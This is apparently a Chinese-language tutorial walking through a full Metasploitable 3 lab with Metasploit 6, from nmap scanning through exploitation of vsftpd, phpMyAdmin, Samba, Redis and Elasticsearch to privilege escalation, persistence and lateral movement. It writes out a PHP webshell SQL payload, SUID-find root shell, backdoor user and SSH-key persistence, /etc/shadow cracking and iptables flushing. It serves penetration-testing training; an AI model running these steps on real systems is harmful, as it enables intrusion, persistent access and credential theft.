Metasploit渗透测试实战:从信息收集到后渗透的完整靶场演练

📅 2026/7/9 12:16:06
Metasploit渗透测试实战:从信息收集到后渗透的完整靶场演练
1. 项目概述一次完整的靶场渗透实战演练拿到这个标题我仿佛回到了刚接触渗透测试那会儿面对一个配置好的靶机手握着强大的Metasploit框架却不知从何下手的迷茫。今天我们就来彻底解决这个问题。这篇内容不是简单的命令罗列而是带你走一遍一个专业渗透测试人员面对一个已知漏洞靶场Metasploitable 3时的完整思考路径和操作流程。我们会严格按照官方文档中列出的服务端口顺序进行但重点在于理解“为什么”要这么做以及在使用MSF6Metasploit Framework 6时那些官方手册里不会写的实战技巧和踩坑经验。Metasploitable 3是一个故意配置了多种漏洞的Linux/Windows靶机是学习和练习渗透测试的绝佳环境。而MSF6作为目前最主流的渗透测试框架其模块化、集成化的特性让漏洞利用变得高效。本次实操的目标就是通过一步步探测、分析、利用最终完全控制这个靶场在这个过程中你将深刻理解从信息收集到后渗透的完整链条并掌握MSF6的核心使用心法。无论你是刚入门的安全爱好者还是想系统梳理MSF6操作的老手这篇内容都将提供可直接“抄作业”的详细步骤和背后的逻辑。2. 环境搭建与前期准备2.1 靶机与攻击机环境配置工欲善其事必先利其器。一个稳定、隔离的实验环境是安全测试的前提。我强烈建议使用虚拟机来构建整个环境这能保证你的操作不会影响到宿主机或其他网络。首先攻击机我推荐使用Kali Linux。你可以从官方网站下载最新的Kali虚拟机镜像直接导入到VMware Workstation或VirtualBox中。导入后第一件事不是急着更新而是配置网络。为了模拟最真实的网络环境建议将Kali和Metasploitable3的虚拟机网络模式都设置为“NAT模式”或“仅主机模式”。如果设置为“NAT模式”它们会处于同一个虚拟子网下可以互相通信如果设置为“仅主机模式”则它们会通过一个虚拟的仅主机网络适配器连接与宿主机完全隔离这是最安全的做法。我个人的习惯是使用“仅主机模式”创建一个独立的虚拟网络比如VMnet1将两台虚拟机的网络适配器都挂载上去。接下来是靶机Metasploitable 3的部署。它不像Metasploitable 2那样提供一个现成的OVA文件而是需要通过Vagrant和VirtualBox来自动构建。你需要先安装好VirtualBox和Vagrant。然后从GitHub克隆Metasploitable3的仓库。这个过程可能会遇到一些依赖问题比如缺少vbguest插件或者构建超时。一个关键技巧是在克隆仓库后先不要急着vagrant up编辑项目目录下的Vagrantfile文件找到关于Windows靶机的配置部分如果你暂时不需要Windows靶机可以将其注释掉先集中精力构建Linux靶机代号为ub1404。执行vagrant up ub1404即可。构建过程会下载一个基础镜像并运行脚本安装所有漏洞服务耗时较长请保持网络通畅。注意Metasploitable 3的默认账号密码是vagrant/vagrant。但我们的目标不是通过这个合法账号登录而是通过漏洞攻破它。构建完成后使用vagrant status查看运行状态使用vagrant ssh ub1404可以登录到靶机进行验证。最后确认网络连通性。在Kali攻击机上使用ping命令测试靶机的IP地址通常Vagrant会分配一个如192.168.56.10之类的地址。确保能ping通这是所有后续步骤的基础。2.2 MSF6框架初识与基础配置MSF6是Metasploit Project的核心产品相比旧版本它在数据库集成、命令结构和后渗透模块方面有了很大改进。在Kali中MSF6通常已经预装。启动它只需要在终端输入msfconsole。第一次启动可能会初始化数据库稍等片刻即可进入那个熟悉的msf6 提示符。进入后我习惯先做几件事来优化体验和确保环境正常。第一查看数据库连接状态输入db_status。如果显示“connected”说明MSF6已经成功连接到了内置的PostgreSQL数据库所有扫描结果、会话记录、凭证信息都会自动入库便于查询和管理。如果未连接可以尝试运行msfdb init和msfdb start进行初始化。第二设置几个常用的全局变量。虽然我们可以在每次使用模块时再设置但提前设好目标RHOSTS能节省大量时间。命令是setg RHOSTS 192.168.56.10请替换为你的靶机实际IP。setg表示全局设置之后所有需要RHOSTS参数的模块都会自动填充这个值。同样你可以setg RHOST 192.168.56.10用于单目标模块。第三了解帮助系统。在msf6提示符下输入help可以查看所有命令。对某个命令不熟悉比如search可以输入search -h查看详细用法。MSF6的模块搜索功能非常强大支持按类型、名称、路径等多种方式过滤这是我们找到合适攻击载荷的关键。3. 系统化信息收集与端口扫描3.1 初始主机发现与端口扫描策略在真正开始攻击之前我们必须像侦探一样尽可能全面地收集目标信息。盲目攻击是低效且危险的。我们的第一项任务就是找出靶机上开放了哪些端口运行着什么服务。MSF6内置了强大的扫描器但我们先从最经典、最快速的Nmap开始。打开Kali的另一个终端不要关闭msfconsole输入nmap -sS -sV -O -p- 192.168.56.10。我来解释一下这个命令的每个部分及其意图-sS: 执行TCP SYN扫描。这是一种“半开放”扫描它发送SYN包如果收到SYN-ACK回复就判断端口开放然后发送RST断开连接而不完成三次握手。这种方式比全连接扫描-sT更隐蔽、更快。-sV: 版本探测。尝试识别端口上运行的服务及其具体版本号。这是关键因为很多漏洞只存在于特定版本中。-O: 操作系统探测。通过分析TCP/IP协议栈的指纹来猜测目标操作系统。-p-: 扫描所有65535个端口。在实战中我们可能只扫描常见端口-p 1-1000但面对Metasploitable3这种“漏洞合集”靶场必须进行全端口扫描以免遗漏那些开放在非常见端口上的脆弱服务。扫描需要一段时间。等待期间我们可以回到MSF6控制台使用其内置的端口扫描模块。输入use auxiliary/scanner/portscan/tcp然后set RHOSTS 192.168.56.10set PORTS 1-10000先扫一部分最后run。MSF6的扫描结果会自动存入数据库。3.2 服务识别与漏洞初步关联当Nmap扫描完成后你会得到一份详细的报告。这份报告就是我们的“攻击地图”。以Metasploitable 3 (Linux)为例你可能会看到如下一些关键端口具体版本可能略有差异21/tcp: vsftpd 2.3.4 (FTP)22/tcp: OpenSSH 7.2p2 (SSH)80/tcp: Apache httpd 2.4.18 (Web服务)443/tcp: Apache httpd 2.4.18 (HTTPS)445/tcp: Samba smbd 3.X - 4.X (SMB文件共享)6379/tcp: Redis key-value store 3.0.69200/tcp: Elasticsearch 1.4.227017/tcp: MongoDB 3.2.0看到这些服务及其版本一个经验丰富的测试者大脑里就应该开始关联已知的公开漏洞了。例如vsftpd 2.3.4存在著名的“笑脸漏洞”Backdoor Command Execution。OpenSSH 7.2p2虽然较新但可能存在配置错误如弱口令或允许root登录。Samba 3.x-4.x版本范围很广需要进一步确定具体版本历史上存在严重漏洞如EternalBlueMS17-010的变种。Elasticsearch 1.4.2版本较低可能存在未授权访问或远程代码执行漏洞。此时不要急于攻击。我们应该将这份端口列表整理好并按照官方文档的顺序或者按照服务风险等级制定一个攻击计划。接下来我们将按照从Web到系统服务从简单到复杂的顺序逐一进行漏洞验证和利用。4. 按端口顺序的漏洞利用实战4.1 Web服务漏洞挖掘80/443端口Web服务通常是攻击面最广的入口。我们首先对靶机的80端口进行更深入的侦察。在Kali上使用浏览器访问http://192.168.56.10或者使用命令行工具curl。你可能会发现一个简单的Apache默认页或者一些自定义的Web应用。我们需要使用目录扫描工具来发现隐藏的路径或文件。在Kali终端使用gobuster或dirb。例如gobuster dir -u http://192.168.56.10 -w /usr/share/wordlists/dirb/common.txt。这个命令会尝试用常见目录名去爆破可能会发现像/admin/phpmyadmin/uploads这样的敏感目录。假设我们发现了一个/phpmyadmin目录并且可以访问。这是一个MySQL数据库的Web管理界面。默认情况下Metasploitable 3的phpMyAdmin可能配置了弱口令比如root:root或者空密码。成功登录后我们就获得了数据库的控制权。在phpMyAdmin中我们可以执行SQL语句。一个经典的提权方法是利用MySQL的“INTO OUTFILE”功能尝试向Web目录写入一个PHP Webshell。首先你需要找到网站的绝对路径可以通过查看phpMyAdmin的变量datadir来推测或者查看错误信息。假设路径是/var/www/html。执行SQLSELECT \?php system($_GET[cmd]); ?\ INTO OUTFILE /var/www/html/shell.php。如果成功访问http://192.168.56.10/shell.php?cmdid就能执行系统命令返回当前用户权限。在MSF6中也有对应的phpMyAdmin漏洞利用模块。我们可以搜索search phpmyadmin。可能会找到exploit/multi/http/phpmyadmin_lfi_rce之类的模块。使用它需要设置目标IP、端口、以及可能的路径TARGETURI。这种模块化的利用往往比手动写入Webshell更稳定且能直接获得一个Meterpreter会话。4.2 FTP与SMB服务漏洞利用21/445端口FTP (端口21):Nmap显示是vsftpd 2.3.4。这个版本的后门漏洞利用起来非常简单。在MSF6中搜索search vsftpd 2.3.4。你会找到exploit/unix/ftp/vsftpd_234_backdoor。使用这个模块use exploit/unix/ftp/vsftpd_234_backdoor设置RHOSTS为目标IP然后run。如果靶机上的vsftpd确实是有后门的版本并且以root权限运行在靶场中很可能就是那么exploit成功后你会直接获得一个root权限的shell这是整个靶场中最快获得最高权限的途径之一。实操心得这个漏洞的触发需要在FTP登录时用户名末尾包含一个“:)”笑脸符号。MSF模块自动处理了这一点。手动测试时可以用ftp 192.168.56.10然后用户名输入user: )注意空格和笑脸密码随意。如果连接后端口6200被打开说明后门存在。SMB (端口445):Samba服务漏洞利用是内网渗透的重头戏。首先我们用MSF6的扫描模块来获取更多信息use auxiliary/scanner/smb/smb_version设置目标后run可以确认Samba的具体版本。然后尝试枚举共享目录和用户use auxiliary/scanner/smb/smb_enumshares和use auxiliary/scanner/smb/smb_enumusers。Metasploitable 3可能配置了匿名可读的共享。我们可以用smbclient尝试连接smbclient //192.168.56.10/匿名共享名 -N-N表示无密码。如果成功可以浏览和下载文件或许能找到有用的配置文件或密码哈希。对于漏洞利用我们可以尝试著名的“EternalBlue”系列。搜索search eternalblue。MSF6中有exploit/windows/smb/ms17_010_eternalblue模块但那是针对Windows的。对于Samba on Linux我们可能需要尝试其他漏洞比如exploit/linux/samba/is_known_pipename或exploit/linux/samba/lsa_transnames_heap。使用这些模块需要仔细设置目标类型TARGET并可能需要进行一些调试。成功后会获得一个Linux shell。4.3 数据库与缓存服务漏洞6379 9200 27017端口Redis (端口6379):Redis默认没有密码且可能以root权限运行。这导致未经授权的访问和严重的远程代码执行风险。首先用redis-cli连接测试redis-cli -h 192.168.56.10。如果连接成功可以尝试info命令查看信息。在MSF6中有专门的Redis漏洞利用模块。搜索search redis。例如auxiliary/scanner/redis/redis_login可以用来爆破弱口令但这里我们假设无密码。更危险的是利用Redis写文件的功能。我们可以通过Redis的CONFIG SET命令改变持久化文件路径然后写入一个SSH公钥或者Webshell。MSF6的exploit/linux/redis/redis_unauth_exec模块自动化了这个过程。使用它设置目标IP和端口并选择合适的目标如Linux/Unix它会上传一个Payload并利用Redis的MODULE LOAD或SLAVEOF机制执行命令最终给我们返回一个shell。Elasticsearch (端口9200):Elasticsearch 1.4.2存在多个漏洞。首先访问http://192.168.56.10:9200/_plugin/head/或直接http://192.168.56.10:9200查看是否可访问。旧版本的Elasticsearch可能存在未授权访问、远程代码执行CVE-2015-1427等漏洞。MSF6中对应的模块是exploit/multi/elasticsearch/script_mvel_rce。这个漏洞允许通过动态脚本执行MVEL表达式来运行任意代码。使用模块设置RHOSTS和RPORT为9200设置TARGETURI为/然后执行。成功后会获得一个部署了Payload的会话。MongoDB (端口27017):MongoDB默认也无需认证。使用mongo客户端连接mongo --host 192.168.56.10。连接后可以列出所有数据库show dbs。虽然未授权访问可以窃取所有数据但要想获得系统shell通常需要结合其他漏洞或利用JavaScript执行功能。MSF6中可能有相关的利用模块但更常见的做法是通过MongoDB导出数据后寻找敏感信息如配置文件中的密码用于其他服务的攻击。5. 权限提升与后渗透行动5.1 从普通用户到Root权限通过前面各种漏洞我们可能已经获得了一个shell但很可能不是root权限。例如通过Web漏洞获得的shell可能是www-data用户权限很低。我们需要进行权限提升Privilege Escalation。首先在获得的shell中如果是Meterpreter会话先输入shell进入系统shell进行信息收集id查看当前用户和所属组。uname -a查看内核版本。sudo -l查看当前用户可以以root身份无需密码运行哪些命令。这是最简单的方式如果配置不当可能直接sudo bash就拿到root。find / -perm -us -type f 2/dev/null查找所有设置了SUID位的文件。SUID文件在执行时会以文件所有者的身份运行。如果找到/bin/bash、/bin/cp、/bin/find等命令的SUID版本并且所有者是root就可能存在提权方法。例如如果find有SUID位可以执行find . -exec /bin/bash -p \;来启动一个root shell。cat /etc/crontab查看系统定时任务。如果发现有一个以root身份运行的定时任务并且任务执行的脚本或路径我们可以写入就可以通过篡改脚本内容来提权。MSF6也提供了自动化提权模块。在Meterpreter会话中输入run post/multi/recon/local_exploit_suggester。这个模块会根据系统信息自动扫描并建议可能成功的本地提权漏洞利用模块。你可以根据建议使用use exploit/linux/local/...之类的模块进行尝试。5.2 维持访问与横向移动获得root权限后我们的目标从“攻破”转向“控制”和“探索”。维持访问我们不想每次都需要重新利用漏洞。因此需要创建后门。添加用户useradd -m -s /bin/bash backdoor_user然后passwd backdoor_user设置密码。再将其加入sudo组usermod -aG sudo backdoor_user。SSH密钥后门将我们的公钥写入root的authorized_keys文件。在Kali上生成密钥对ssh-keygen -t rsa然后将id_rsa.pub的内容写入靶机/root/.ssh/authorized_keys文件中。之后就可以用私钥直接ssh root靶机IP。MSF持久化模块在Meterpreter会话中使用run post/linux/manage/sshkey_persistence或run post/multi/manage/autoroute等模块可以自动化完成持久化任务。横向移动如果靶场环境中有多台机器比如还有一台Windows的Metasploitable 3我们就要尝试从已控制的机器跳板机去攻击内网的其他机器。网络探测在获得的shell中使用ifconfig查看内网网段使用arp -a或netstat -rn查看路由表。端口转发如果内网机器不能直接访问可以利用已控机器做跳板。在Meterpreter中使用portfwd命令。例如将攻击机本地端口4444转发到内网机器192.168.100.5的3389端口portfwd add -L 0.0.0.0 -l 4444 -p 3389 -r 192.168.100.5。然后在攻击机上就可以通过访问本地的4444端口来连接内网机器的3389RDP服务了。凭证窃取在Linux上尝试读取/etc/shadow文件获取密码哈希用john或hashcat进行破解。也可以搜索包含密码的配置文件如Web应用的config.php、database.yml等。6. 常见问题排查与实战心得6.1 漏洞利用失败原因深度分析在实际操作中十次攻击可能只有两三次能一击即中。遇到失败时不要慌张按以下步骤排查服务版本不匹配这是最常见的原因。Nmap的-sV探测结果可能不精确或者靶机上的服务虽然版本号符合但已经打了补丁。解决方案尝试使用该服务的其他漏洞模块。在MSF6中对一个服务如Samba使用search功能查看所有相关模块从auxiliary信息收集到exploit漏洞利用都试一试。有时一个CVE编号对应多个利用方式。网络问题与防火墙靶机可能配置了本地防火墙如iptables只允许特定IP或端口的访问。或者你的扫描/攻击流量被过滤了。解决方案在获得的任何一个shell中检查iptables规则iptables -L -n -v。如果发现规则限制可以尝试用root权限清空规则iptables -F这是一个破坏性操作仅限靶场。另外确保你的攻击机和靶机在同一个网段且没有其他网络设备干扰。Payload选择不当MSF在发起攻击时需要你选择一个Payload如cmd/unix/reverse_bash,linux/x64/meterpreter/reverse_tcp。如果目标系统架构x86, x64, ARM或语言环境与Payload不兼容就会失败。解决方案首先尽可能收集系统信息uname -m。在MSF中设置模块后使用show payloads查看所有兼容的Payload。对于Linuxcmd/unix/reverse_bash或cmd/unix/reverse_netcat通常兼容性较好meterpreter功能强大但可能被拦截。如果反向连接失败可以尝试绑定型Payloadbind_tcp但需要你能直接访问靶机的端口。反制与依赖缺失某些漏洞利用需要目标系统上存在特定的库或程序如gcc,python。如果缺失Payload编译或执行会失败。解决方案查看模块的Info信息info命令了解其依赖。或者在攻击失败后检查Meterpreter或模块返回的错误信息。有时可以尝试使用更通用的、无需编译的Payload。6.2 MSF6高效使用技巧与命令备忘掌握以下技巧能让你的MSF6操作效率倍增工作区管理使用workspace命令管理不同项目。workspace -a pentest_lab创建新工作区workspace pentest_lab切换。所有扫描结果、主机信息、会话都会隔离保存非常清晰。资源脚本对于重复性操作可以写成.rc资源脚本。例如创建一个scan.rc文件内容如下use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.56.10 set PORTS 1-1000 run use auxiliary/scanner/smb/smb_version run在msfconsole中使用resource /path/to/scan.rc即可自动执行所有命令。会话管理sessions -l列出所有活跃会话。sessions -i ID交互式连接到指定会话。在会话中按CtrlZ可以后台化当前会话回到msf提示符而不中断会话连接。sessions -k ID终止指定会话。搜索技巧search type:exploit name:elasticsearch按类型和名称搜索。search cve:2015-1427按CVE编号搜索。search platform:linux按平台搜索。模块选项快速设置使用setg设置全局变量如RHOSTS后在新模块中会自动填充。使用show options查看当前模块需要设置哪些参数其中Required列为yes的是必须设置的。Meterpreter常用命令sysinfo查看系统信息。getuid查看当前权限。ps列出进程。migrate PID将Meterpreter会话迁移到另一个进程如explorer.exe增加稳定性。download /path/to/file从靶机下载文件。upload /local/file /remote/path上传文件到靶机。shell切换到系统命令行。run post/multi/manage/autoroute自动添加路由用于横向移动。最后也是最重要的心得耐心和记录。渗透测试很少是一帆风顺的。每次失败都是一次学习机会。务必详细记录你的每一步操作、使用的命令、得到的结果和错误信息。这不仅能帮助你复盘也能在遇到类似场景时快速找到解决方案。Metasploitable 3这样的靶场就是让你在安全的环境中经历这些失败和成功从而构建起真正的实战能力。